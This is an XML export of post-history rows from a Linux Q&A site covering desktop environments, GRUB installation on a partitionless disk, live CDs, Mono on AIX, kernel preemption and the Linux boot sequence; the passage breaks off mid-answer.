  <row Id="11466" PostHistoryTypeId="5" PostId="5163" RevisionGUID="0a6e2805-6492-4718-8967-599036733421" CreationDate="2010-12-27T12:04:55.327" UserId="2567" Comment="a example" Text="The main difference is that KDE is C++ with Qt, while Gnome is C based on top of GTK.&#xD;&#xA;&#xD;&#xA;Then you have the windowmanager that has a different philosophy on what to show the user. &#xD;&#xA;&#xD;&#xA;And then you have the applications that that is just different...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Update: They are both good nice and stable (if you select the right versions).&#xD;&#xA;They can do approximately the same but in different ways, so it is hard to compare.&#xD;&#xA;&#xD;&#xA;My personal view is that Qt is a nice framework to write software with, &#xD;&#xA;but I also know that there is a lot of guys that would say exactly the same for gtk.&#xD;&#xA;&#xD;&#xA;Since this is the topic for a classic flamewar, [there is a lot written all over the internet on this topic][1].&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when it comes to embedded the answer is simpler, since Nokia (the phone maker) is now the owner of Trolltech (the maker of Qt), they have pushed Qt to become a valid choice for embedded. And there is now a version of Qt called &quot;[Qt for embedded linux][2]&quot;. &#xD;&#xA;And they created a new distribution with Intel and the Linux Foundation called [MeeGo][3].&#xD;&#xA;So Qt has a lot of support in the Embedded realm, and it has a quite good [documentation][4] so it is easy to get started.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A example that you can look at/use is [MeeGo on the BeagleBoard][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=kde+vs+gnome&#xD;&#xA;  [2]: http://qt.nokia.com/products/platform/qt-for-embedded-linux/&#xD;&#xA;  [3]: http://meego.com/&#xD;&#xA;  [4]: http://doc.qt.nokia.com/&#xD;&#xA;  [5]: http://wiki.meego.com/ARM/Meego_on_Beagleboard_from_scratch" />
  <row Id="11467" PostHistoryTypeId="2" PostId="5168" RevisionGUID="d4ec8dd3-882a-4271-ab97-262b549e7467" CreationDate="2010-12-27T12:37:42.650" UserId="885" Text="The BIOS reads the first sector (512 bytes) of the disk and branches into it. If your disk contains PC-style partitions, the first sector also contains the partition table. If your disk contains a single filesystem, the first sector contains whatever the filesystem decides to put there. In the case of ext[234] (and many other filesystems), the first sector¹ is reserved for the bootloader (and is initially zeroed out). You can install Grub on `/dev/sda`.&#xD;&#xA;&#xD;&#xA;That being said, there are occasional BIOSes that refuse to boot from a device that don't contain a partition table. (But there are also BIOSes that refuse to boot from some external devices if they do contain a partition table!) If you have one of these BIOSes, you'll have to create a partition table.&#xD;&#xA;&#xD;&#xA;Even if a partition table is not necessary, it's recommended. You only waste a few kilobytes, and gain readability under many non-Linux OSes and less surprise for any co-sysadmin. If you accidentally plug your disk into a machine running Windows, it might suggest you to reformat the disk if it doesn't see a partition table, whereas it'll just complain it can't read the data if it sees a partition table with a partition type it doesn't recognize.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; In fact, the first block, I think, where a block is 1kB, 2kB or 4kB depending on the options passed to `mkfs`. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="11468" PostHistoryTypeId="2" PostId="5169" RevisionGUID="ef9a3908-8f20-49bd-b228-ceee6243701f" CreationDate="2010-12-27T12:46:19.783" UserId="885" Text="Any live Linux distribution will work just fine for this.&#xD;&#xA;&#xD;&#xA;* [Ubuntu](http://www.ubuntu.com/) has a fancy GUI.&#xD;&#xA;* [SystemRescueCD](http://www.sysresccd.org/) comes with many system repair tools, including networking tools.&#xD;&#xA;* [**BackTrack**](http://www.backtrack-linux.org/) is targetted at penetration testing, so it comes with a lot of networking tools, especially for network inspection and packet injection.&#xD;&#xA;" />
  <row Id="11469" PostHistoryTypeId="2" PostId="5170" RevisionGUID="a53ede41-79d7-4699-8eab-98598fbf9742" CreationDate="2010-12-27T14:59:37.063" UserId="3086" Text="Puppy Linux has a great feature:&#xD;&#xA;&#xD;&#xA;as in wikipedia is mentioned&#xD;&#xA;&#xD;&#xA;&gt; However, it is possible to save files upon shutdown. This feature allows the user to either save the file to disk (USB, HDD etc.) or even write the file system to the same CD puppy is booted from if &quot;multisession&quot; was used to create the booted CD (on CD-Rs as well as CD-RW) where a CD burner is present.&#xD;&#xA;&#xD;&#xA;I would be interested in getting to know if there are any other livecds that also offer this feature?" />
  <row Id="11470" PostHistoryTypeId="1" PostId="5170" RevisionGUID="a53ede41-79d7-4699-8eab-98598fbf9742" CreationDate="2010-12-27T14:59:37.063" UserId="3086" Text="Linux Live CDs that are able to save configuration on the boot disk?" />
  <row Id="11471" PostHistoryTypeId="3" PostId="5170" RevisionGUID="a53ede41-79d7-4699-8eab-98598fbf9742" CreationDate="2010-12-27T14:59:37.063" UserId="3086" Text="élinuxàélivecdà" />
  <row Id="11472" PostHistoryTypeId="2" PostId="5171" RevisionGUID="40f315f8-46ee-432a-9c27-e4a30070e4ba" CreationDate="2010-12-27T15:26:34.087" UserId="3198" Text="Instead of LiveCD, you can create LiveUSB. It functions just like LiveCD but can store the information persistently in a file system called Casper-rw. This file can reside on hardrive or USB drive itself.&#xD;&#xA;&#xD;&#xA;https://wiki.ubuntu.com/LiveUsbPendrivePersistent&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Live_USB&#xD;&#xA;&#xD;&#xA;http://www.debuntu.org/how-to-install-ubuntu-linux-on-usb-bar" />
  <row Id="11473" PostHistoryTypeId="2" PostId="5172" RevisionGUID="63ddbe0d-a288-4379-9a6a-fcf532897be2" CreationDate="2010-12-27T16:20:58.027" UserId="1207" Text="The best answer to this question will depend on (1) how fast is &quot;fast&quot;, (2) how exotic the hardware you need to support is and (3) how robust of a system you want after boot.&#xD;&#xA;&#xD;&#xA;There are a good number of Linux distribution aimed at being small and a good number that provide live images.  The intersection of these two sets is also fairly large.  If the lan drivers you need are for a basic wired ethernet card, then many &quot;generic&quot; distributions will likely work for you.&#xD;&#xA;&#xD;&#xA;Beyond those that Gille's mentioned, here are a few options you may want to look into:&#xD;&#xA;&#xD;&#xA; - [grml][1]: This is a debian-based live-cd intended for system administrators. You might want to get the &quot;small&quot; image since you are worried about boot speed.  The system you are left with is an incredibly functionally system with a wide range of command-line tools.&#xD;&#xA;&#xD;&#xA; - [Debian Live][2]: Debian Live provides a set of tools that allows you to customize your own live image of a Debian system.  You can create a pretty lean system through customization.&#xD;&#xA;&#xD;&#xA; - Linux distributions that focus on being small: [Puppy Linux][3], [DSL][4], [Tiny Core Linux][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grml.org/&#xD;&#xA;  [2]: http://live.debian.net/&#xD;&#xA;  [3]: http://puppylinux.org/main/Overview%20and%20Getting%20Started.htm&#xD;&#xA;  [4]: http://www.damnsmalllinux.org/&#xD;&#xA;  [5]: http://www.tinycorelinux.com/" />
  <row Id="11474" PostHistoryTypeId="2" PostId="5173" RevisionGUID="082e4bbe-1698-4bd8-87d9-643284751bd7" CreationDate="2010-12-27T17:44:30.137" UserId="2343" Text="Which shell?  Go for the one with the best &quot;ease-of-use&quot; vs &quot;hassles&quot; ratio...  &#xD;&#xA;&#xD;&#xA;If you can't find enough general examples and explanatons for your &quot;Maserati&quot; shell, then it's extra performance may be more of a problem than a bonus...  &#xD;&#xA;&#xD;&#xA;I found this article/site interesting; it may be worth a read:  &#xD;&#xA;[UNIX shell differences and how to change your shell](http://www.faqs.org/faqs/unix-faq/shell/shell-differences/) &#xD;&#xA;" />
  <row Id="11475" PostHistoryTypeId="2" PostId="5174" RevisionGUID="549e4e97-04e3-49a4-9b8d-ba987f2bca2a" CreationDate="2010-12-27T19:44:23.223" UserId="885" Text="You could create empty files with all possible extensions and call rsync with `--ignore-existing`.&#xD;&#xA;&#xD;&#xA;    find A -type f \( -name '*.flac' -o -name '*.m4v' -o -name '*.mp3' -o '*.ogg' -o '*.wma' \) \&#xD;&#xA;         -exec sh -c '&#xD;&#xA;      for base; do&#xD;&#xA;        base=${base%.*};&#xD;&#xA;        for ext in flac m4v mp3 ogg wma; do : &gt;&gt;&quot;$base.$ext&quot;; done;&#xD;&#xA;      done' _ {} +&#xD;&#xA;    # Do the same on B …&#xD;&#xA;    rsync -a --ignore-existing A B&#xD;&#xA;&#xD;&#xA;You may be interested in [mp3fs](http://mp3fs.sourceforge.net/), a [FUSE stackable filesystem](http://fuse.sourceforge.net/) that provides a view of a directory tree where all audio files appear as MP3. I don't think it would particularly help with your question, but it may be an alternate way to solve your problem or otherwise prove useful.&#xD;&#xA;" />
  <row Id="11476" PostHistoryTypeId="2" PostId="5175" RevisionGUID="6a0cc289-c4c6-4e20-a86c-8d90d68fecbe" CreationDate="2010-12-28T02:34:33.127" UserId="217" Text="I don't have root access to an AIX 5.2 machine and want to run Mono programs in it." />
  <row Id="11477" PostHistoryTypeId="1" PostId="5175" RevisionGUID="6a0cc289-c4c6-4e20-a86c-8d90d68fecbe" CreationDate="2010-12-28T02:34:33.127" UserId="217" Text="How to install Mono in AIX?" />
  <row Id="11478" PostHistoryTypeId="3" PostId="5175" RevisionGUID="6a0cc289-c4c6-4e20-a86c-8d90d68fecbe" CreationDate="2010-12-28T02:34:33.127" UserId="217" Text="éinstallàémonoàéaixà" />
  <row Id="11479" PostHistoryTypeId="5" PostId="5162" RevisionGUID="98daa35e-de9c-42a1-85aa-cad989de48b0" CreationDate="2010-12-28T03:34:09.573" UserId="3267" Comment="add error log" Text="Currently I have the entire disk `/dev/sda` formatted as ext4, and installed Gentoo. &#xD;&#xA;&#xD;&#xA;(There is no MBR, no partition at all. )&#xD;&#xA;&#xD;&#xA;But finally, I can't install GRUB on it, because it seems like GRUB needs to write to MBR. &#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    The file /boot/grub/stage1 not read correctly. &#xD;&#xA;&#xD;&#xA;Any way can I install GRUB into the /dev/sda without MBR?&#xD;&#xA;" />
  <row Id="11480" PostHistoryTypeId="5" PostId="5162" RevisionGUID="12005d50-8f94-4328-b37b-8cdf372fb120" CreationDate="2010-12-28T03:41:05.447" UserId="3267" Comment="add grub errors" Text="Currently I have the entire disk `/dev/sda` formatted as ext4, and installed Gentoo. &#xD;&#xA;&#xD;&#xA;(There is no MBR, no partition at all. )&#xD;&#xA;&#xD;&#xA;But finally, I can't install GRUB on it, because it seems like GRUB needs to write to MBR. &#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    The file /boot/grub/stage1 not read correctly. &#xD;&#xA;&#xD;&#xA;neither does `grub` work,  &#xD;&#xA;&#xD;&#xA;    # grub&#xD;&#xA;    grub&gt; root (hd0)&#xD;&#xA;     Filesystem type unknown, using whole disk&#xD;&#xA;&#xD;&#xA;    grub&gt; setup (hd0)&#xD;&#xA;     Error 17: Cannot mount selected partition&#xD;&#xA;&#xD;&#xA;Any way can I install GRUB into the /dev/sda without MBR?&#xD;&#xA;" />
  <row Id="11481" PostHistoryTypeId="5" PostId="5162" RevisionGUID="d3f3fea4-34f9-4724-ace6-8f3afdc08be0" CreationDate="2010-12-28T03:49:23.190" UserId="3267" Comment="change title to reflect that's no MBR" Text="Currently I have the entire disk `/dev/sda` formatted as ext4, and installed Gentoo. &#xD;&#xA;&#xD;&#xA;(There is no MBR, no partition at all. )&#xD;&#xA;&#xD;&#xA;But finally, I can't install GRUB on it, because it seems like GRUB needs to write to MBR. &#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    Unknown partition table signature&#xD;&#xA;    The file /boot/grub/stage1 not read correctly. &#xD;&#xA;&#xD;&#xA;neither does `grub` work,  &#xD;&#xA;&#xD;&#xA;    # grub&#xD;&#xA;    grub&gt; root (hd0)&#xD;&#xA;     Filesystem type unknown, using whole disk&#xD;&#xA;&#xD;&#xA;    grub&gt; setup (hd0)&#xD;&#xA;     Error 17: Cannot mount selected partition&#xD;&#xA;&#xD;&#xA;Any way can I install GRUB into the /dev/sda without MBR?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. The `/boot` directory and `grub.conf` files: &#xD;&#xA;&#xD;&#xA;    # tree /boot &#xD;&#xA;    /boot&#xD;&#xA;    |-- boot -&gt; .&#xD;&#xA;    |-- grub&#xD;&#xA;    |   |-- default&#xD;&#xA;    |   |-- device.map&#xD;&#xA;    |   |-- e2fs_stage1_5&#xD;&#xA;    |   |-- fat_stage1_5&#xD;&#xA;    |   |-- ffs_stage1_5&#xD;&#xA;    |   |-- grub.conf&#xD;&#xA;    |   |-- iso9660_stage1_5&#xD;&#xA;    |   |-- jfs_stage1_5&#xD;&#xA;    |   |-- menu.lst -&gt; grub.conf&#xD;&#xA;    |   |-- minix_stage1_5&#xD;&#xA;    |   |-- reiserfs_stage1_5&#xD;&#xA;    |   |-- splash.xpm.gz&#xD;&#xA;    |   |-- stage1&#xD;&#xA;    |   |-- stage2&#xD;&#xA;    |   |-- stage2_eltorito&#xD;&#xA;    |   |-- ufs2_stage1_5&#xD;&#xA;    |   |-- vstafs_stage1_5&#xD;&#xA;    |   `-- xfs_stage1_5&#xD;&#xA;    `-- kernel-2.6.36-gentoo-r5&#xD;&#xA;&#xD;&#xA;    # cat /boot/grub/grub.conf&#xD;&#xA;    default 0&#xD;&#xA;    timeout 30&#xD;&#xA;    splashimage=(hd0)/boot/grub/splash.xpm.gz&#xD;&#xA;&#xD;&#xA;    title Gentoo Linux 2.6.36-r5&#xD;&#xA;    root (hd0)&#xD;&#xA;    kernel /boot/kernel-2.6.36-gentoo-r5 root=/dev/sda&#xD;&#xA;&#xD;&#xA;    title Gentoo Linux 2.6.36-r5 Rescue&#xD;&#xA;    kernel /boot/kernel-2.6.36-gentoo-r5 root=/dev/sda init=/bin/bb&#xD;&#xA;&#xD;&#xA;    # cat /boot/grub/devices&#xD;&#xA;    (fd0)	/dev/fd0&#xD;&#xA;    (hd0)	/dev/sda&#xD;&#xA;" />
  <row Id="11482" PostHistoryTypeId="4" PostId="5162" RevisionGUID="d3f3fea4-34f9-4724-ace6-8f3afdc08be0" CreationDate="2010-12-28T03:49:23.190" UserId="3267" Comment="change title to reflect that's no MBR" Text="How to install GRUB to a whole ext4 disk without partition table?" />
  <row Id="11483" PostHistoryTypeId="5" PostId="5172" RevisionGUID="deee23f6-c29d-4bfd-acbf-a0b11cbcbb79" CreationDate="2010-12-28T03:56:18.503" UserId="1207" Comment="deleted 1 characters in body" Text="The best answer to this question will depend on (1) how fast is &quot;fast&quot;, (2) how exotic the hardware you need to support is and (3) how robust of a system you want after boot.&#xD;&#xA;&#xD;&#xA;There are a good number of Linux distribution aimed at being small and a good number that provide live images.  The intersection of these two sets is also fairly large.  If the lan drivers you need are for a basic wired ethernet card, then many &quot;generic&quot; distributions will likely work for you.&#xD;&#xA;&#xD;&#xA;Beyond those that Gilles mentioned, here are a few options you may want to look into:&#xD;&#xA;&#xD;&#xA; - [grml][1]: This is a Debian-based live-CD intended for system administrators. You might want to get the &quot;small&quot; image since you are worried about boot speed.  The system you are left with is an incredibly functionally system with a wide range of command-line tools.&#xD;&#xA;&#xD;&#xA; - [Debian Live][2]: Debian Live provides a set of tools that allows you to customize your own live image of a Debian system.  You can create a pretty lean system through customization.&#xD;&#xA;&#xD;&#xA; - Linux distributions that focus on being small: [Puppy Linux][3], [DSL][4], [Tiny Core Linux][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grml.org/&#xD;&#xA;  [2]: http://live.debian.net/&#xD;&#xA;  [3]: http://puppylinux.org/main/Overview%20and%20Getting%20Started.htm&#xD;&#xA;  [4]: http://www.damnsmalllinux.org/&#xD;&#xA;  [5]: http://www.tinycorelinux.com/" />
  <row Id="11484" PostHistoryTypeId="2" PostId="5177" RevisionGUID="d910d7f9-ed73-4a2e-8227-dc2ba50e4621" CreationDate="2009-11-20T13:29:20.857" UserDisplayName="rjmunro" Text="Put something in the startup scripts to rewrite menu.lst.&#xD;&#xA;&#xD;&#xA;So have Ubuntu write a version of menu.lst that loads OpenSuSE, and have OpenSuSE write a version that loads Ubuntu.&#xD;&#xA;&#xD;&#xA;I a relatively safe way to do this would be to have 3 files, menu.lst, menu.lst.ubuntu and menu.lst.SuSE and have the scripts do:&#xD;&#xA;&#xD;&#xA;    cp menu.lst.ubuntu menu.lst&#xD;&#xA;on SuSE and:&#xD;&#xA;&#xD;&#xA;    cp menu.lst.SuSE menu.lst&#xD;&#xA;on Ubuntu. " />
  <row Id="11485" PostHistoryTypeId="2" PostId="5178" RevisionGUID="a22777df-c5ad-4375-bc3b-43899a8c0a99" CreationDate="2009-11-20T13:40:43.563" UserDisplayName="jhs" Text="Lilo can do this.&#xD;&#xA;&#xD;&#xA;But you might consider a simple script in each OS that sets the *other* OS as the grub default. For example, the following script would modify a `default 1` setting to `default 0`:&#xD;&#xA;&#xD;&#xA;    echo -e &quot;g/default 1/d\ni\ndefault 0\n.\nw&quot; | ed /boot/grub/menu.lst&#xD;&#xA;&#xD;&#xA;(ed is much like Vi. Run just the first command to see what it's doing.)&#xD;&#xA;&#xD;&#xA;On the other OS, you could run the counterpart:&#xD;&#xA;&#xD;&#xA;    echo -e &quot;g/default 0/d\ni\ndefault 1\n.\nw&quot; | ed /boot/grub/menu.lst" />
  <row Id="11486" PostHistoryTypeId="2" PostId="5176" RevisionGUID="82dbea16-5c34-479b-81f2-73c015a4599e" CreationDate="2009-11-20T13:26:34.137" UserDisplayName="baltusaj" Text="I have two Linux distributions (OpenSuSE, Ubuntu) installed on two different partitions. Each time i start my machine, GRUB loads up allowing me to select one of the two distributions.&#xD;&#xA;&#xD;&#xA;I don't want the GRUB to show up so I limit timeout to zero in /boot/grub/menu.lst which will most probably make my machine load OpenSuSE each time i start my PC because it's the first option in the menu.lst.&#xD;&#xA;&#xD;&#xA;Is it possible that the second time i restart my PC, Ubuntu gets loaded automatically? The third time i restart again, OpenSuSE may get booted while fourth time i restart, Ubuntu may load up and so on?&#xD;&#xA;&#xD;&#xA;In other words how can i make my machine to boot the next OS in menu.lst, the next time it is restarted?&#xD;&#xA;&#xD;&#xA;It's a weird problem. :) but i need to test something actually. Suggestions needed from you guys.&#xD;&#xA;&#xD;&#xA;Thanks a lot." />
  <row Id="11487" PostHistoryTypeId="1" PostId="5176" RevisionGUID="82dbea16-5c34-479b-81f2-73c015a4599e" CreationDate="2009-11-20T13:26:34.137" UserDisplayName="baltusaj" Text="Loading different Linux Distribution each time computer starts automatically?" />
  <row Id="11488" PostHistoryTypeId="3" PostId="5176" RevisionGUID="82dbea16-5c34-479b-81f2-73c015a4599e" CreationDate="2009-11-20T13:26:34.137" UserDisplayName="baltusaj" Text="élinuxàégrubà" />
  <row Id="11489" PostHistoryTypeId="17" PostId="5176" RevisionGUID="0bdf40fb-3dd4-44ad-915f-a59b8c15f31b" CreationDate="2010-12-28T03:57:09.337" UserId="-1" Comment="from http://stackoverflow.com/questions/1770406/loading-different-linux-distribution-each-time-computer-starts-automatically" Text="" />
  <row Id="11490" PostHistoryTypeId="5" PostId="5130" RevisionGUID="f54e5705-72d5-474a-94e7-edc1dfef8d01" CreationDate="2010-12-28T04:35:33.163" UserId="3283" Comment="added 27 characters in body" Text="I can't find a definitive list of rolling distros any where on the web.&#xD;&#xA;&#xD;&#xA;DistroWatch doesn't have one, though I posted a comment suggesting they add such or label rolling releases and the type of release/dev. cycle generally.&#xD;&#xA;&#xD;&#xA;Wikipedia have a very small page for &quot;Rolling Release&quot; only which list about five or so merely as examples of rolling releases.&#xD;&#xA;&#xD;&#xA;I would like to start a Wikipedia page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I have been trying to find a good guide to Linux rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me with the page please post below or email my screen name at gmail if you like the idea or have a better one.&#xD;&#xA;&#xD;&#xA;I still need to set up a Wikipedia account but thought I'd see if any one was interested in the project first.&#xD;&#xA;&#xD;&#xA;I would like to collaborate with other in creating the page as I've only used Linux for a year or so &amp; I'm still something of a newbie.&#xD;&#xA;&#xD;&#xA;I look forward to hearing your thoughts on the proposal.&#xD;&#xA;&#xD;&#xA;** Edit in reply to the comments below **&#xD;&#xA;&#xD;&#xA;Fist of all I'd like to apologize for posting the question. Sorry: I should have read the guidelines first on what types of question are allowed. Feel free to erase this question entirely as I'm not sure how this is done.&#xD;&#xA;&#xD;&#xA;My question really should have been: &quot;Does anyone know whether a comprehensive list of rolling-release Linux distros exists anywhere on the Web [before I bother to create a Wikipedia article for such]?&quot;. -- Would this be a suitable question to post on this site?&#xD;&#xA;&#xD;&#xA;If not I'll just leave things as they stand. BTW, many thanks to those who commented below (and  Stefan Lasiewski &amp; Maciej Piechotka for closing the question). In future, I'll endeavour to make sure I don't make the same mistake of asking an ambiguous question (or one that's inappropriate given the site's purpose).&#xD;&#xA;&#xD;&#xA;Many thanks for the clarification.&#xD;&#xA;&#xD;&#xA;Tuxalot." />
  <row Id="11491" PostHistoryTypeId="2" PostId="5179" RevisionGUID="f2086477-43ef-4c18-b7c0-3a9127bf96b4" CreationDate="2010-12-28T05:07:40.350" UserId="2082" Text="In some situations you can just use `r`. From `:help r`: &#xD;&#xA;&#xD;&#xA;&gt; Replace the character under the cursor&#xD;&#xA;&gt; with {char}.&#xD;&#xA;&#xD;&#xA;If you want more than one char, use `R`. (When used it enters in *Replace mode*. As usual, for more info, `:help Replace`).&#xD;&#xA;&#xD;&#xA;Remember to run `vimtutor` at least once to learn some commands. The `r` command is used in Lesson 3.2." />
  <row Id="11492" PostHistoryTypeId="2" PostId="5180" RevisionGUID="de66f357-4235-4c00-93b6-c69f3bce4e79" CreationDate="2010-12-28T06:24:03.523" UserId="2871" Text="Hi All,  &#xD;&#xA;I would like to know what is the difference between Non-preemptive, Preemptive and Selective Preemptive Kernel?  &#xD;&#xA;&#xD;&#xA;Hope someone can shed some light into this.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;" />
  <row Id="11493" PostHistoryTypeId="1" PostId="5180" RevisionGUID="de66f357-4235-4c00-93b6-c69f3bce4e79" CreationDate="2010-12-28T06:24:03.523" UserId="2871" Text="What is the difference between Non-preemptive, Preemptive and Selective Preemptive Kernel?" />
  <row Id="11494" PostHistoryTypeId="3" PostId="5180" RevisionGUID="de66f357-4235-4c00-93b6-c69f3bce4e79" CreationDate="2010-12-28T06:24:03.523" UserId="2871" Text="élinuxàékernelàépreemptionà" />
  <row Id="11495" PostHistoryTypeId="2" PostId="5181" RevisionGUID="fe11514c-46a1-4143-8007-e32c125c40cb" CreationDate="2010-12-28T06:55:05.037" UserId="1946" Text="Just compile from sources and install it into you home directory with `./configure --prefix=$HOME; make; make install`.  This way you don't need root access at any step.&#xD;&#xA;&#xD;&#xA;To run .net assemblies with your compiled version of mono run `~/bin/mono program.exe` or add `~/bin` to your `PATH` and just use `mono program.exe`." />
  <row Id="11496" PostHistoryTypeId="2" PostId="5182" RevisionGUID="ab864142-11a2-4549-8dbe-6b3b08373a8f" CreationDate="2010-12-28T07:19:25.947" UserId="3198" Text="&gt;  the preemption is -&gt; The ability of&#xD;&#xA;&gt; the operating system to preempt or&#xD;&#xA;&gt; stop a currently scheduled task in&#xD;&#xA;&gt; favour of a higher priority task. The&#xD;&#xA;&gt; scheduling may be one of, but not&#xD;&#xA;&gt; limited to, process or I/O scheduling&#xD;&#xA;&gt; etc.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Under Linux, user-space programs have&#xD;&#xA;&gt; always been preemptible : the kernel&#xD;&#xA;&gt; interrupts user-space programs to&#xD;&#xA;&gt; switch to other threads, using the&#xD;&#xA;&gt; regular clock tick. So, the kernel&#xD;&#xA;&gt; doesn't wait for user-space programs&#xD;&#xA;&gt; to explicitly release the processor&#xD;&#xA;&gt; (which is the case in cooperative&#xD;&#xA;&gt; multitasking). This means that an&#xD;&#xA;&gt; infinite loop in an user-space program&#xD;&#xA;&gt; cannot block the system.&#xD;&#xA;&gt; &#xD;&#xA;&gt; However, until 2.6 kernels, the kernel&#xD;&#xA;&gt; itself was not preemtible : as soon as&#xD;&#xA;&gt; one thread has entered the kernel, it&#xD;&#xA;&gt; could not be preempted to execute an&#xD;&#xA;&gt; other thread. &#xD;&#xA;&gt; However, this absence of preemption in&#xD;&#xA;&gt; the kernel caused several problems&#xD;&#xA;&gt; with regard to latency and&#xD;&#xA;&gt; scalability. So, kernel preemption has&#xD;&#xA;&gt; been introduced in 2.6 kernels, and&#xD;&#xA;&gt; one can enable or disable it using the&#xD;&#xA;&gt; CONFIG_PREEMPT option. If&#xD;&#xA;&gt; CONFIG_PREEMPT is enabled, then kernel&#xD;&#xA;&gt; code can be preempted everywhere,&#xD;&#xA;&gt; except when the code has disabled&#xD;&#xA;&gt; local interrupts. An infinite loop in&#xD;&#xA;&gt; the code can no longer block the&#xD;&#xA;&gt; entire system. If CONFIG_PREEMPT is&#xD;&#xA;&gt; disabled, then the 2.4 behaviour is&#xD;&#xA;&gt; restored.&#xD;&#xA;&#xD;&#xA;ReQuoted and formatted from:&#xD;&#xA;http://www.linuxquestions.org/questions/linux-general-1/pre-emptive-vs-non-pre-emptive-kernel-582437/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11497" PostHistoryTypeId="2" PostId="5183" RevisionGUID="c278aa20-6f6c-43d8-9234-461bd810a22e" CreationDate="2010-12-28T09:04:13.367" UserId="3326" Text="Have a look here : http://guvcview.berlios.de/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11498" PostHistoryTypeId="2" PostId="5184" RevisionGUID="ee8b8af3-6b1f-48b6-add3-39ec9bd46ff4" CreationDate="2010-12-28T10:40:30.330" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;I just to want to know the flow of activities happening after loading the linux kernel image into the RAM after boot process.&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="11499" PostHistoryTypeId="1" PostId="5184" RevisionGUID="ee8b8af3-6b1f-48b6-add3-39ec9bd46ff4" CreationDate="2010-12-28T10:40:30.330" UserId="2269" Text="What are the actions happening after loading the linux kernel image into the RAM" />
  <row Id="11500" PostHistoryTypeId="3" PostId="5184" RevisionGUID="ee8b8af3-6b1f-48b6-add3-39ec9bd46ff4" CreationDate="2010-12-28T10:40:30.330" UserId="2269" Text="ékernelàébootà" />
  <row Id="11501" PostHistoryTypeId="2" PostId="5185" RevisionGUID="5092192d-fb76-46c2-9f21-08856d294ef2" CreationDate="2010-12-28T12:04:54.363" UserId="3069" Text="As of Linux 2.6:&#xD;&#xA;&#xD;&#xA;**Kernel**&#xD;&#xA;&#xD;&#xA;After loaded into RAM, the kernel executes the following functions.&#xD;&#xA;&#xD;&#xA;`setup()`:&#xD;&#xA;&#xD;&#xA; 1. Build a table in RAM describing the layout of the physical memory.&#xD;&#xA; 2. Set keyboard repeat delay and rate.&#xD;&#xA; 3. Initialize the video adapter card.&#xD;&#xA; 4. Initialize the disk controller with hard disk parameters.&#xD;&#xA; 5. Check for IBM Micro Channel bus.&#xD;&#xA; 6. Check for PS/2 pointing devices (bus mouse).&#xD;&#xA; 7. Check for Advanced Power Management (APM) support.&#xD;&#xA; 8. If supported, build a table in RAM describing the hard disks available.&#xD;&#xA; 9. If the kernel image was loaded low in RAM, move it to high.&#xD;&#xA; 10. Set the A20 pin (a compatibility hack for ancient 8088 microprocessors).&#xD;&#xA; 11. Setup a provisional Interrupt Descriptor Table (IDT) and a provisional Global Descriptor Table (GDT).&#xD;&#xA; 12. Reset the floating-point unit (FPU).&#xD;&#xA; 13. Reprogram the Programmable Interrupt Controllers (PIC).&#xD;&#xA; 14. Switch from Real to Protected Mode.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`startup_32()`:&#xD;&#xA;&#xD;&#xA; 1. Initialize segmentation registers and a provisional stack.&#xD;&#xA; 2. Clear all bits in the `eflags` register.&#xD;&#xA; 3. Fill the area of uninitialized data with zeros.&#xD;&#xA; 4. Invokes `decompress_kernel()` to decompress the kernel image.&#xD;&#xA;&#xD;&#xA;`startup_32()` (same name, other function):&#xD;&#xA;&#xD;&#xA; 1. Initialize final segmentation registers.&#xD;&#xA; 2. Fill `bss` segment with zeros.&#xD;&#xA; 3. Initialize provisional kernel Page Tables.&#xD;&#xA; 4. Enable paging.&#xD;&#xA; 5. Setup Kernel Mode stack for process 0.&#xD;&#xA; 6. Again, clear all bits in the `eflags` register.&#xD;&#xA; 7. Fill the IDT with null interrupt handlers.&#xD;&#xA; 8. Initialize the first page frame with system parameters.&#xD;&#xA; 9. Identify the model of the processor.&#xD;&#xA; 10. Initialize registers with the addresses of the GDT and IDT.&#xD;&#xA;&#xD;&#xA;`start_kernel()`:&#xD;&#xA;Nearly every kernel component gets initialized by this function, these are only a few. &#xD;&#xA;&#xD;&#xA; - Scheduler&#xD;&#xA; - Memory zones&#xD;&#xA; - Buddy system allocator&#xD;&#xA; - IDT&#xD;&#xA; - SoftIRQs&#xD;&#xA; - Date and Time&#xD;&#xA; - Slab allocator&#xD;&#xA; - Create process 1 (`/sbin/init`)&#xD;&#xA;&#xD;&#xA;The complete &quot;list&quot; is available in the sources at 